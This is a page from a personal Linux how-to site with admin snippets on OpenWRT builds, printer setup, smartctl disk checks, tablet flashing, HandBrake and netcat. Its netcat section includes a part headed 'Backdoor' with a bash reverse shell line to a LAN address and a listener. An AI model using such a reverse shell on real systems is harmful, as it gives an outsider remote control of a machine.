Skip to main content

Primary links

  • Home
  • AI
  • Kubernetes
  • Incus
  • Ansible
  • Terraform
  • OpenStack
  • Virtualization
  • Linux
  • SmartHome
  • HowTo

Misc

  • Linux
  • Hardware
  • Programming
  • Databases
  • Multimedia
  • Windows

Cloud

  • OpenStack
  • cloud-config
  • nextcloud

Virtualization

  • Virtualization
  • Incus
  • Docker
  • KVM
  • Kubernetes
  • LXC
  • LXD
  • QEMU
  • VMware
  • VirtualBox
  • multipass
  • podman
  • vagrant
  • XEN

Network

  • DNS
  • Firewall
  • Linux
  • OpenvSwitch
  • SSL
  • VLAN
  • VPN
  • iPXE
  • namespaces
  • nmcli
  • tcpdump

Storage

  • CEPH
  • DRBD
  • LVM
  • S3
  • ZFS
  • btrfs

Automation / CI/CD

  • Install
  • Ansible
  • GitLab
  • LLM
  • Preseed
  • Puppet
  • Terraform
  • Ubuntu autoinstall

Monitoring / Visualisation

  • Grafana
  • Icinga
  • Prometheus
  • Monitoring
  • ELK
  • mermaid

Crosscompile OpenWRT

[embed_url: https://raw.githubusercontent.com/panticz/lyc/master/scripts/compile_openwrt_ar9132.sh]

Compile for x86

sudo apt-get install -y --force-yes subversion libncurses5-dev libghc6-zlib-dev flex build-essential
cd /tmp
svn checkout svn://svn.openwrt.org/openwrt/trunk
make menuconfig

Links
http://wiki.openwrt.org/doc/howto/build
http://wiki.openwrt.org/doc/devel/crosscompile
http://wiki.openwrt.org/doc/howto/buildroot.exigence
http://www.ffnn.nl/pages/articles/linux/cgi-scripting-tips-for-bash-or-sh.php

Brother MFC 7320

Install printer
[embed_url: https://raw.githubusercontent.com/panticz/installit/master/hardware/install.brother-mfc-7320.printer.sh]

Install scanner
[embed_url: https://raw.githubusercontent.com/panticz/installit/master/hardware/install.brother-mfc-7320.scanner.sh]

Scanner
First POWER OFF your Brother MFC-7320
http://www.panticz.de/sites/default/files/scripts/install.brother-mfc-7320.scanner.sh
Now you can POWER ON your Brother MFC-7320 again
Go Applications > Graphics > Simple Scan

Fax
not tested yet, see: http://wiki.ubuntuusers.de/Brother/Fax

Links
http://wiki.ubuntuusers.de/Brother/Drucker
http://wiki.ubuntuusers.de/Brother/Scanner
http://wiki.ubuntuusers.de/Brother/Fax
http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/download_prn.html#MFC-7320
http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/download_scn.html

wlyc - Yamaha Receiver Webcontrol

GitHub repository
https://github.com/panticz/wlyc

Demo
http://dl.panticz.de/wlyc/wlyc3900.html

[embed_url: https://raw.githubusercontent.com/panticz/wlyc/master/wlyc]

Links
http://your.recier.ip/YamahaRemoteControl/UnitDesc.xml

Autostart script from USB device with Udev

Create Udev rule
[embed_url: http://dl.panticz.de/udev/autorun/70-persistent-usb_autorun.rules]

Create autorun wrapper
[embed_url: http://dl.panticz.de/udev/autorun/usb_autorun.sh]

Create autorun.sh script on your USB device (example)
[embed_url: http://dl.panticz.de/udev/autorun/autorun.sh]

smartmontools (smartctl)

[embed_url: https://raw.githubusercontent.com/panticz/installit/master/install.smartmontools.sh]

Show health from all SAS devices

for DISK in $(lsblk -S | grep sas | cut -d" " -f1); do
    smartctl -d scsi -H /dev/${DISK}
done

Check all discs

for SERVER in ceph{1..6}-stage.example.com; do
    for DISK in sd{a..z}; do
        echo ${SERVER} ${DISK}
        #ssh ${SERVER} sudo smartctl --smart=on -t short /dev/${DISK}
        ssh ${SERVER} sudo smartctl --smart=on -t offline /dev/${DISK}
        #ssh ${SERVER} sudo smartctl -a /dev/${DISK} | grep -i failure
    done
    echo
done

Enable SMART on device

sudo smartctl -s on /dev/sdb

Show device SMART Health status

sudo smartctl -H /dev/sda

Show device selftest log

smartctl -l selftest /dev/sdb

Get info from usb data

sudo smartctl -d sat -a /dev/sdb

Test

smartctl -t short /dev/sdb
smartctl -t offline /dev/sdb

Calculate total writen GB from a SSD

echo "Total GB written: $(echo "scale=3; $(sudo /usr/sbin/smartctl -A /dev/sda | grep "Total_LBAs_Written" | awk '{print $10}') * 512 / $((1024*1024*1024))" | bc)"

SAT pass-through Linux UAS blacklisting

lsusb  | grep Seagate
echo "0x0bc2:0xab28:u" | sudo  tee > /sys/module/usb_storage/parameters/quirks
smartctl -a /dev/sdd
smartctl -a -d sat  /dev/sdd

Links
https://www.smartmontools.org/wiki/Supported_USB-Devices

IPCop: Check / Update DDNS

[embed_urls: http://dl.panticz.de/endian/checkddns/etc/cron.d/checkddns ]
[embed_urls: http://dl.panticz.de/endian/checkddns.sh ]

chmod u+x /sbin/checkddns.sh
/etc/init.d/fcron restart

Toshiba Tegra AC100

# https://github.com/nthchild/ubuntu-ac100

https://github.com/solarkennedy/ubuntu-ac100-xenial

HowTo
https://wiki.ubuntu.com/ARM/TEGRA/AC100

install nvflash (broken, download and install manually)
http://developer.download.nvidia.com/assets/mobile/files/tegra-linux-12.alpha.1.0.tar.gz
#wget https://phablet-paz00.googlecode.com/files/nvflash_20110628-2_all.deb -O /tmp/nvflash_20110628-2_all.deb
#sudo dpkg -i /tmp/nvflash_20110628-2_all.deb

wget http://developer.download.nvidia.com/assets/mobile/files/tegra-linux-12.alpha.1.0.tar.gz
tar xf tegra-linux-12.alpha.1.0.tar.gz

/tmp/ldk/bootloader/nvflash --bl sos-uboot-r5-2013-11-10.bin --go

get bootrom

# wget http://cdimage.ubuntu.com/lubuntu/releases/quantal/release/lubuntu-12.10-preinstalled-desktop-armhf+ac100.bootimg -O /tmp/ac100.bootimg
# wget http://cdimage.ubuntu.com/releases/12.04/release/ubuntu-12.04-preinstalled-desktop-armhf+ac100.bootimg -O /tmp/ac100.bootimg
wget http://cdimage.ubuntu.com/lubuntu/daily-preinstalled/pending/trusty-preinstalled-desktop-armhf+ac100.bootimg -O /tmp/ac100.bootimg

flash bootrom

# Connect the USB cable between your AC100 and the host PC
# Press CTRL and ESC keys and power on your AC100 
sudo nvflash --bl /usr/lib/nvflash/fastboot.bin --download 6 /tmp/ac100.bootimg
# poweroff
# poweron

download image

sudo mount /dev/sdb1 /mnt
# wget http://cdimage.ubuntu.com/lubuntu/releases/quantal/release/lubuntu-12.10-preinstalled-desktop-armhf+ac100.tar.gz -P /mnt/
# wget http://cdimage.ubuntu.com/releases/12.04/release/ubuntu-12.04-preinstalled-desktop-armhf+ac100.tar.gz -P /mnt/
wget http://cdimage.ubuntu.com/lubuntu/daily-preinstalled/pending/trusty-preinstalled-desktop-armhf+ac100.tar.gz -O /tmp/trusty-preinstalled-desktop-armhf+ac100.tar.gz
sudo umount /mnt
# OPTIONAL configuration

[embed_url: https://raw.githubusercontent.com/panticz/installit/master/hardware/ac100.postinstall.sh]

Handbrake

DVD to MKV

sudo apt-get install -y handbrake-cli libdvd-pkg
sudo dpkg-reconfigure libdvd-pkg

# h265 to MKV
TARGET=/media/pako/E7F4-7534

for i in {1..99}; do
HandBrakeCLI \
  -t${i} \
  --encoder x265 \
  --format mkv \
  --quality 22 \
  --keep-display-aspect \
  --output "${TARGET}/${i}.mkv" \
  --chapters 1-99 \
  --subtitle-lang-list "eng,deu" \
  --audio-lang-list "eng,deu" \
  --input VIDEO_TS
done


#  --rate 23.976 \
#  --aencoder copy \

# h264 to MP3
HandBrakeCLI --input DVD_DISC1/VIDEO_TS/ -t1  --encoder x264 --format av_mp4 --quality 22 --aencoder copy  --keep-display-aspect --rate 23.976 --output "Chapter s%.h264"  --chapters 1-99 --subtitle-lang-list "eng,deu"  --audio-lang-list  "eng,deu"

# --all-audio
# --all-subtitles

Install from Ubuntu 22.04 repository

echo "deb http://de.archive.ubuntu.com/ubuntu jammy main restricted universe multiverse" | \
    sudo tee /etc/apt/sources.list.d/ubuntu-jammy.list
echo "deb http://de.archive.ubuntu.com/ubuntu jammy-updates main restricted universe multiverse" | \
    sudo tee /etc/apt/sources.list.d/ubuntu-jammy-updates.list

sudo apt update
sudo apt-get install handbrake-cli
sudo rm /etc/apt/sources.list.d/ubuntu-jammy*
sudo apt update

Command line reference
https://mattgadient.com/comparing-x264-rf-settings-in-handbrake-examples/
https://handbrake.fr/docs/en/latest/cli/command-line-reference.html
https://handbrake.fr/docs/en/1.5.0/cli/cli-options.html

Ubuntu: Install Nero Linux

Nero Download
http://www.nero.com/enu/downloads-linux4-trial.php

[embed_url: https://raw.githubusercontent.com/panticz/installit/master/install.nero.sh]

Extract Nero DOS bootimage

mkdir /tmp/nero
dpkg -x /tmp/nerolinux-x86_64.deb /tmp/nero
ls -l /tmp/nero/usr/share/nero/DosBootImage.ima

netcat

Port test

# TCP port test
nc -l -p 8080 # server
nc ${SERVER_IP} 8080 # client

# UDP port test
nc -u -l -p 8080 # server
nc -u ${SERVER_IP} 8080 # client

without compression

# receiver
nc -l -p 1234 > out.file

# sender
nc -w 3 [destination] 1234 < out.file

with compression

# receiver 
nc -l -p 1234 | uncompress -c | tar xvfp -

# snder
tar cfp - /some/dir | compress -c | nc -w 3 [destination] 1234

transfer disk image

On the sender end run,
dd if=/dev/hda3 | gzip -9 | nc -l 3333

# receiver
nc [destination] 3333 | pv -b > hdImage.img.gz

Backdoor

# @host 1
nc -lvp 5001

# @host 2
bash -i >& /dev/tcp/10.0.1.24/5001 0>&1

# @host 1
while :; do hostname; date; sleep 1; done

Test WebServer

echo -e "HTTP/1.1 200 OK\n\n $(date)" | nc -l -p 80 -q 1

Links
https://www.cyberciti.biz/faq/bash-infinite-loop/
https://www.hackingtutorials.org/networking/hacking-netcat-part-2-bind-reverse-shells/
https://www.binarytides.com/netcat-tutorial-for-beginners/
https://linoxide.com/linux-how-to/install-use-netcat-command-linux/

Pagination

  • Previous page
  • 10
  • Next page
linux
Profiles GitHub StackOverflow LinkedIn Xing
Contact Imprint
© panticz 2026

Cookie-Einstellungen

Diese Website nutzt eingebettete Inhalte von Drittanbietern (z.B. YouTube, SoundCloud). Beim Laden dieser Inhalte werden Daten an die jeweiligen Anbieter übermittelt. Datenverarbeitungserklärung